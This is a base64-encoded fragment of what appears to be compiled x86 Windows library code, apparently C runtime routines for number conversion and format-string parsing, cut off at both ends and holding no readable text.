//8rwYmF5Pb//40EsIuEBWD8//+Jhcz2//+FwHUdO/IPhcgAAAAhhLVg/P//jVYBiZVc/P//6bMAAAAzwDP/iYXQ9v//i86F2w+EkAAAAIP5c3RTO8p1F4OkjWD8//8AQAPGiYVc/P//i4XQ9v//i5XI9v//iwSC96XM9v//A8eD0gABhI1g/P//i4XQ9v//g9IAQEGJhdD2//+L+ouVXPz//zvDdaiF/3Q0g/lzD4T8AAAAO8p1EYOkjWD8//8AjUEBiYVc/P//i8cz/wGEjWD8//+LlVz8//8T/0HryIP5cw+EyAAAAIu93Pb//4uF5Pb//0Y79w+FDf///4vCiZUs/v//weACUI2FYPz//1CNhTD+//9ozAEAAFDoozAAAIPEELABi50s/v//iZ3o9v//hMAPhKcAAACLhdj2//8rhbz2//+Jhdj2//8PhVn8//+Ljbj2//+FyXRFizyNpFkHEIX/D4WIAAAAM8BQiYW8+P//iYUs/v//jYXA+P//UI2FMP7//2jMAQAAUOgyMAAAg8QQi50s/v//iZ3o9v//hdsPhewAAAAzyekFAQAAM8BQiYXs9v//iYUs/v//jYXw9v//UI2FMP7//2jMAQAAUOjtLwAAg8QQMsDpRf///4OlvPj//wCDpSz+//8AagDrZIP/AXSphdt0rTPJM/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o783XkhckPhHH///+LhSz+//+D+HNzGYmMhTD+//+LnSz+//9DiZ0s/v//6VP///8zwImFvPj//4mFLP7//1CNhcD4//9QjYUw/v//aMwBAABQ6FUvAACLhbD2//+DxBD/taj2//8PtoAIAwAAUOie7v//WVlqA1jpjhEAAIuEnSz+//+Dpcz2//8AD73AdANA6wIzwI1L/8HhBQPIi4Xg9v//iY289v//O42s9v//D4MpEQAAhcAPhCERAACLvdT2//8z2zP2iZ3k9v//M8mJnYz6//+Jtdz2//87vcT2//8PhD0GAACD+QkPhQQBAACF2w+EhgAAADPJvgDKmjsz/4uEvZD6///35gPBiYS9kPr//4PSAEeLyjv7deSLtdz2//+FyXRLi4WM+v//g/hzcxaJjIWQ+v//i52M+v//Q4mdjPr//+swM8BQiYW8+P//iYWM+v//jYXA+P//UI2FkPr//2jMAQAAUOg9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jVz8//9BiY1c/P//65iLjeD2//87yg+H6QAAAIu1YPz//7/MAQAAiYVc/P//weACUI2FwPj//4m1zPb//1CNhWD8//9XUOjtJgAAg8QQM8CF9nUaUImFvPj//4mFXPz//42FwPj//1BX6SP///+LjVz8//9AiY3g9v//O/APhCv///+FyQ+EI////4udzPb//zP2M/+Lw/ekvWD8//8DxomEvWD8//+D0gBHi/I7+XXki53k9v//hfYPhOH+//+LhVz8//+D+HMPgir///8zwFCJhbz4//+JhVz8//+NhcD4//9QjYVg/P//aMwBAABQ6EMmAACLjVz8//+DxBAywOmj/v//O8GNtcD4//8PksKE0nV5jbVg/P//jb3A+P//ib3E9v//iYXY9v//hNJ1CImN2Pb//4vIM9Iz/4mV7Pb//zmV2Pb//w+EJQEAAI2F8Pb//yvwibW49v//jQS+i4QF8Pb//4mFzPb//4XAdSU7+g+F7gAAACGEvfD2//+NVwGJlez2///p2QAAAI29YPz//+uLg6XU9v//ADPAiYXc9v//i/eFyQ+EqQAAAIP+c3RbO/J1F4OktfD2//8AQAPHiYXs9v//i4Xc9v//i5XE9v//iwSC96XM9v//A4XU9v//g9IAAYS18Pb//4uF3Pb//4PSAEBGiZXU9v//i5Xs9v//iYXc9v//O8F1oIO91Pb//wB0QIP+cw+EAAEAADvydRGDpLXw9v//AI1GAYmF7Pb//4uF1Pb//zPSAYS18Pb//xPSRomV1Pb//4XSi5Xs9v//dcCD/nMPhMAAAACLtbj2//9HO73Y9v//D4Xp/v//i8KJlVz8///B4AJQjYXw9v//UI2FYPz//2jMAQAAUOihJAAAg8QQsAGLjVz8//+JjeD2//+EwA+EoQAAAIuFyPb//yuF0Pb//4mFyPb//w+FLPz//4uVtPb//4XSD4Q9AQAAiwSVpFkHEImFzPb//4XAdXxQiYXU9P//iYVc/P//jYXY9P//UI2FYPz//2jMAQAAUOgsJAAAg8QQi41c/P//iY3g9v//6fkAAAAzwFCJhdT0//+JhVz8//+Nhdj0//9QjYVg/P//aMwBAABQ6PEjAACDxBAywOlL////g6XU9P//AIOlXPz//wBqAOtzg/gBD4SnAAAAhckPhJ8AAAAz/zP296S1YPz//wPHiYS1YPz//4uFzPb//4PSAEaL+jvxdeCF/w+Eb////4uFXPz//4P4c3McibyFYPz//4uNXPz//0GJjeD2//+JjVz8///rUjPAiYXU9P//iYVc/P//UI2F2PT//1CNhWD8//9ozAEAAFDoSiMAAIuFsPb//4PEEP+1qPb//w+2gAgDAABQ6Kfn//9ZWWoC6fDz//+LjeD2//+F23UEM/brIIuEnYz6//+Dpcz2//8AD73AdANA6wIzwI1z/8HmBQPwhcl1BDPS6yCLhI1c/P//g6XM9v//AA+9wHQDQOsCM8CNUf/B4gUD0IvCK8Y78mr/G/Yj8Im11Pb//18Phq0BAACLhdT2//8z0oPgH8HuBWogWSvIiYXI9v//M8CJtdz2//9AiY249v//6GIpAQCLjJ2M+v//SA+9yYmFtPb///fQiYXM9v//dANB6wIzyWogWCvBjRQeOYXI9v//iZXQ9v//D5fAg/pziIXD9v//D5fBg/pzdQiEwHQEsAHrAjLAhMkPheoAAACEwA+F4gAAAIP6cnIJanJaiZXQ9v//i8qJjdj2//871w+EjwAAAIuF3Pb//4vyK/CNlZD6//+NFLI7yHJsO/NzBIsC6wIzwImFxPb//41G/zvDcwWLQvzrAjPAI4XM9v//g+oEi4249v//i53E9v//I5209v//0+iLjcj2///T44uN2Pb//wvDiYSNkPr//0lOiY3Y9v//O890DoudjPr//4uF3Pb//+uQi5XQ9v//i7Xc9v//hfZ0DzPAjb2Q+v//i87zq4PP/4C9w/b//wCNWgGLjeD2//+LtdT2//91AovaiZ2M+v//6zwzwFCJhdT0//+JhYz6//+Nhdj0//9QjYWQ+v//aMwBAABQ6B4hAACLnYz6//+DxBCLjeD2//+LtdT2//+Llaz2//+Lhbz2//8r0ImVrPb//4XAdCuLwjvwdiH/taj2//+LhbD2//9qAQ+2gAgDAABQ/7W89v//6RoDAACL0CvWO9l3OXIwjUv/O890MIuEjZD6//87hI1g/P//dQVJO8916zvPdBeLhI2Q+v//O4SNYPz//3cHRom11Pb//4vyM8CD4h/B7gVqIFkryomVyPb//0CJtdz2//8z0omNuPb//+g5JwEAi4ydjPr//0gPvcmJhbT2///30ImFzPb//3QFjUEB6wIzwGogWSvIjRQeOY3I9v//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